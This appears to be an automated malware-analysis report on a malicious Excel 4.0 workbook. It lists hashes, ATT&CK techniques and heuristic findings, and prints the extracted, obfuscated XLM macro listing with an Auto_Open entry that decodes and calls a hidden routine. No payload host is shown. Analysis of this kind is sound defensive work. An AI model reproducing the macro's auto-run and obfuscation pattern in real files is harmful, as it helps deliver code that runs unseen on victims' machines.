Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f8936ee79ef12804…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:43:31 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: 883df9c2ac3c964b9ed6325b7cf11006 SHA-1: 36af3447f26132cbfacd8816e83ed57f0cdd80b8 SHA-256: f8936ee79ef12804aff0ec0229c74c82deed8f925cf5a67f8abf1ed508f7dda1
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 (XLM) macros, specifically an Auto_Open defined name, which is a critical finding indicating automatic execution upon opening. The presence of dangerous formula APIs like RUN suggests the macro is designed to execute arbitrary code, likely downloading and running a second-stage payload. Without further script content or network indicators, the exact payload and family remain unknown.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6807 bytes
SHA-256: 5fe98db3816e997f1339867b7f9f24e434e2de66cf8018c8247bb490bbc3673c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  jPYvHWLVb
' 0018     27 LABEL : Cell Value, String Constant - anoxdHiBvOfG len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D163 
' 0018     26 LABEL : Cell Value, String Constant - CCoLjqMExJb len=0 
' 0018     24 LABEL : Cell Value, String Constant - DenlnbVzG len=0 
' 0018     21 LABEL : Cell Value, String Constant - eWmEPM len=0 
' 0018     23 LABEL : Cell Value, String Constant - fNsYRHvS len=0 
' 0018     22 LABEL : Cell Value, String Constant - HHWWptr len=0 
' 0018     20 LABEL : Cell Value, String Constant - iRrkZ len=0 
' 0018     26 LABEL : Cell Value, String Constant - jzzuKvXZIPl len=0 
' 0018     27 LABEL : Cell Value, String Constant - KZSpsxBhQcuZ len=0 
' 0018     24 LABEL : Cell Value, String Constant - lOozYUabN len=0 
' 0018     20 LABEL : Cell Value, String Constant - osrMc len=0 
' 0018     25 LABEL : Cell Value, String Constant - OXJmrChXLa len=0 
' 0018     24 LABEL : Cell Value, String Constant - sUXlnWfvd len=0 
' 0018     20 LABEL : Cell Value, String Constant - tdaqu len=0 
' 0018     21 LABEL : Cell Value, String Constant - umBhxo len=0 
' 0018     24 LABEL : Cell Value, String Constant - vHdyFoSaF len=0 
' 0018     26 LABEL : Cell Value, String Constant - VpTKnwygTZL len=0 
' 0018     27 LABEL : Cell Value, String Constant - WqfNhSsEBKBh len=0 
' 0018     25 LABEL : Cell Value, String Constant - zIWKnhnDYA len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZkXykLJrzP len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  jPYvHWLVb,D76,"SET.NAME("WqfNhSsEBKBh",0+VALUE("0"))",""
'  jPYvHWLVb,D78,"SET.NAME("eWmEPM",WqfNhSsEBKBh)",""
'  jPYvHWLVb,D80,"SET.NAME("iRrkZ",WqfNhSsEBKBh)",""
'  jPYvHWLVb,D82,"SET.NAME("VpTKnwygTZL",COUNTA(fNsYRHvS))",""
'  jPYvHWLVb,D84,"SET.NAME("HHWWptr",COUNTA(sUXlnWfvd))",""
'  jPYvHWLVb,D89,[],""
'  jPYvHWLVb,Q90,"",-387.00000000000000000000
'  jPYvHWLVb,Q91,"",-68.00000000000000000000
'  jPYvHWLVb,D92,"SET.NAME("ZkXykLJrzP","")",""
'  jPYvHWLVb,Q92,"",103.00000000000000000000
'  jPYvHWLVb,Q93,"",-489.00000000000000000000
'  jPYvHWLVb,Q94,"",-727.00000000000000000000
'  jPYvHWLVb,Q95,"",797.00000000000000000000
'  jPYvHWLVb,D96,"eWmEPM",""
'  jPYvHWLVb,D98,"SET.NAME("CCoLjqMExJb",HLOOKUP("*",fNsYRHvS,eWmEPM,FALSE))",""
'  jPYvHWLVb,D102,"osrMc",""
'  jPYvHWLVb,D104,"SET.NAME("KZSpsxBhQcuZ",WqfNhSsEBKBh)",""
'  jPYvHWLVb,D109,[],""
'  jPYvHWLVb,D113,"KZSpsxBhQcuZ",""
'  jPYvHWLVb,D117,"DenlnbVzG",""
'  jPYvHWLVb,D119,"lOozYUabN",""
'  jPYvHWLVb,D123,"zIWKnhnDYA",""
'  jPYvHWLVb,D126,"SET.NAME("OXJmrChXLa",VALUE(HLOOKUP("*",sUXlnWfvd,zIWKnhnDYA,FALSE)))",""
'  jPYvHWLVb,D130,"anoxdHiBvOfG",""
'  jPYvHWLVb,D135,"ZkXykLJrzP",""
'  jPYvHWLVb,D137,"iRrkZ",""
'  jPYvHWLVb,D141,NEXT(),""
'  jPYvHWLVb,D146,"vHdyFoSaF",""
'  jPYvHWLVb,D150,[],""
'  jPYvHWLVb,D154,"umBhxo",""
'  jPYvHWLVb,D157,NEXT(),""
'  jPYvHWLVb,D159,RETURN(),""
'  jPYvHWLVb,D190,"SET.NAME("tdaqu",D76)",""
'  jPYvHWLVb,D194,"fNsYRHvS",""
'  jPYvHWLVb,D198,"SET.NAME("sUXlnWfvd",R92C13)",""
'  jPYvHWLVb,D202,"SET.NAME("umBhxo",209)",""
'  jPYvHWLVb,D205,"SET.NAME("jzzuKvXZIPl",4)",""
'  jPYvHWLVb,D208,tdaqu(),""
'  jPYvHWLVb,D209,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.